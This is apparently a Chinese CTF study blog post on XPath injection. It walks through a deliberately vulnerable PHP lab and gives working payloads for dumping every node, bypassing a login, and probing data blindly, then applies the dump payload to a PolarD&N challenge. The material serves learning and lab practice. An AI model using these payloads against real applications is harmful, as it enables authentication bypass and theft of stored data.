Xpath注入

这里学习一下xpath注入

xpath其实是前端匹配树的内容 爬虫用的挺多的

XPATH注入学习 - 先知社区

查询简单xpath注入

index.php

xpath($query);
foreach($ans as $x => $x_value)
{
echo "2";
echo $x.":  " . $x_value;
echo "
"; } } ?>

t3stt3st.xml 




user1
KEY:1
user2
KEY:2
user3
KEY:3
user4
KEY:4
user5
KEY:5
user6
KEY:6
user7
KEY:7
user8
KEY:8
user9
KEY:9


hctf
flag:hctf{Dd0g_fac3_t0_k3yboard233}

首先传递最简单的

http://127.0.0.1:3000/dir.php?user=user1

Xpath注入_第1张图片

可以发现获取到了内容

这里我们如果存在报错的话我们可以使用 '; 测试

http://127.0.0.1:3000/dir.php?user=user1%27;

Xpath注入_第2张图片

我们首先看看这个时候的注入内容

$query="user/username[@name='".$user."']";


$query="user/username[@name='user1';']";

然后我们开始测试

127.0.0.1:3000/dir.php?user=user1' or '1

Xpath注入_第3张图片

发现就实现了注入

这里xpath中还存在一个万能钥匙

类似于 ' or '1'='1'# 的

']|//*|//*['
http://127.0.0.1:3000/dir.php?user=%27]|//*|//*[%27

Xpath注入_第4张图片

发现所有的东西都出来了

这里的原理是



$query="user/username[@name='']|//*|//*['']";


首先通过闭合[@name='']  


//* 这里不是注释哦 是查询所有的节点

//*[''] 这里是查询所有文本为空的节点 

然后通过 | 符号进行链接

这样就是一个查询全部节点的payload了

这里存在一个题目 PolarD&N的 注入

PolarD&N的 注入

这道题就是直接构造

http://8371c06a-96fa-4013-be20-c53a2fbfe512.www.polarctf.com:8090/?id=%27]|//*|//*[%27

Xpath注入_第5张图片

这里有个问题就是如何知道是xpath注入 我认为应该是拼接做题经验,并且测试过sql ssti这些都无法注入

xpath登入注入

login.php:








username:

password:

xpath($x_query); if(count($result)==0){ echo '登录失败'; }else{ echo "登录成功"; $login_user = $result[0]->username; echo "you login as $login_user"; } } } ?>

test.xml




Twe1ve
[email protected]
administrator
P@ssword123


test
[email protected]
normal
123456

 首先查看这里的注入语句

$x_query="/accounts/user[username='{$username}' and password='{$password}']";

可以发现可以通过单引号注入

$x_query="/accounts/user[username='1'or 1=1 or ''='' and password='{$password}']";

这样不就注入成功了

所以payload

1'or 1=1 or ''='

xpath盲注

首先我们需要探测是有多少个节点

'or count(/)=1  or ''='  登入成功

'or count(/)=2  or ''='  登入失败

可以确定只有一个节点

然后就是判断节点的长度

'or string-length(name(/*[1]))=8 or ''='  登入成功

'or string-length(name(/*[1]))=2 or ''='  登入失败

XPATH注入学习 - 先知社区 这里写的很详细了

你可能感兴趣的:(PolarD&N,WEB,xpath)